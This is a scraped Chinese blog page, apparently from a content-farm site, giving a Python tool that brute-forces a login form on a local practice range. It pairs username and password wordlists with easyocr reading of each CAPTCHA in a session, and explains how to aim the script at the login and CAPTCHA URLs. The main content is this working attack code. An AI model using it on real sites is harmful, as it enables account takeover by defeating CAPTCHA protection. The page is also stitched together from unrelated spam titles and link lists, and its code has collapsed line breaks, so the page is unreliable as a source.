当前位置: 首页 > news >正文

网站导航栏注明做机械网站建设公司

网站导航栏注明做,机械网站建设公司,wordpress添加自定义导航栏,网站优化排名多少钱写在前面 由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中 所以本次识别验证码时需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时服务…

写在前面

由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中

所以本次识别验证码时需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时服务器为用户生成验证码,也省去了手动在python代码中手动输入cookie的步骤

安装OCR库(需要python3.9)

Github地址:https://github.com/JaidedAI/EasyOCR

pip install easyocr

相关代码 

import requests
import easyocr# 填入请求地址
code_url = "http://localhost/yanzhengma.php"
login_url = "http://localhost/login.php"bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = ["你的验证码不正确,请重新输入","您输入的用户名不存在","密码错误,请重新输入"] 
count = 0
# easyocr相关初始化设置识别英文字母或数字,不输出详细运行信息
reader = easyocr.Reader(['en'])
# 由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中
# 所以这里需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时为用户生成验证码
session = requests.session()with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在内层循环之前,重置文件指针到文件开头实现遍历file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1# 用会话对象向浏览器发请求并将验证码图片保存img = session.get(url = code_url).contentwith open('./code.jpg','wb') as code_file:code_file.write(img)# 识别验证码内容try:result = reader.readtext('./code.jpg')# 取出识别结果target_code = [text for (_, text, _) in result][0]except:print("第"+ str(count) +"次尝试--失败:识别出现错误")if len(target_code) < 4:print("第" + str(count) + "次尝试--验证码识别出错")print(target_code)response = session.post(url = login_url,data = {"name":first, "pwd":second, "yzm":target_code ,"login":"%E7%99%BB%E5%BD%95"})print(response.text)check_flag = Truefor context in failure:if context in response.text:print("第"+ str(count) +"次尝试--失败:",first + " " + second)check_flag = Falsebreak;if check_flag:print("第"+ str(count) +"次尝试--成功:",first + " " + second)bf_flag = True;break;

使用方式 

进入靶场随意尝试 

发现是用POST方式进行的请求,请求地址为/login.php需要将此地址填入脚本相应位置

右键验证码部分查看生成验证码的请求地址 

复制链接进行尝试,刷新一次即可得到一个随机的验证码,需要将此地址填入脚本相应位置

运行脚本等待结果,由于OCR识别会有各种各样的问题,有时需要重复跑几遍才能得到想要的结果

可以看到账号为admin密码为1234556时没有产生报错信息,暴力破解成功

http://www.yayakq.cn/news/383264/

相关文章:

  • 邵阳企业网站建设1920网页设计尺寸规范
  • 中国十大服装设计院校网站结构方面主要做哪些优化
  • 淘宝做网站的都是模板自己这么做网站
  • 网络推广和网站推广平台meta 手机网站
  • 河源市住房和城乡规划建设局网站做动画网站
  • 网站建设推广平台有哪些方面注册餐饮公司需要什么条件
  • 黔江网站制作做的最少的网站
  • 军事网址大全 网站做APP好还是建设网站好
  • 游戏发号网站源码北京it外包公司排行榜
  • 网站制作价格服务建工社微课程官网
  • php网站后台无法上传图片示范高职建设网站
  • 南海区住房和城乡建设部网站学校门户网站功能
  • 沈阳网站推广优化公司哪家好单页淘宝客网站
  • 购物平台需要什么资质阳江企业网站排名优化
  • 电子商务网站开发主要有哪些asp网站漏洞修复插件
  • 预付网站建设费用会计分录小程序平台登录
  • 做网站需要做什么雅虎搜索引擎首页
  • 网站运营主要做什么工作程序员自己做项目网站
  • 宁至网站建设设计开发建设网站平台
  • 长沙网站开网站运营繁忙
  • 鲜花拍卖网站建设市场分析wordpress封面
  • 扁平 网站模板建设公司网站的必要性
  • 深圳品牌学校网站建设西安网站建设聂卫
  • 网站域名备案与解析官网微信
  • 怎么为自己的厂做网站企业管理平台app
  • VPS如何做镜像网站东莞市产品网络推广
  • 网站系统定制黑龙江建设银行网站
  • 用于网站建设的费用怎么备注山东免费网站制作
  • 严什么的烟 网站建设怎么设计一个软件
  • 建设环评备案登记网站网址解析ip地址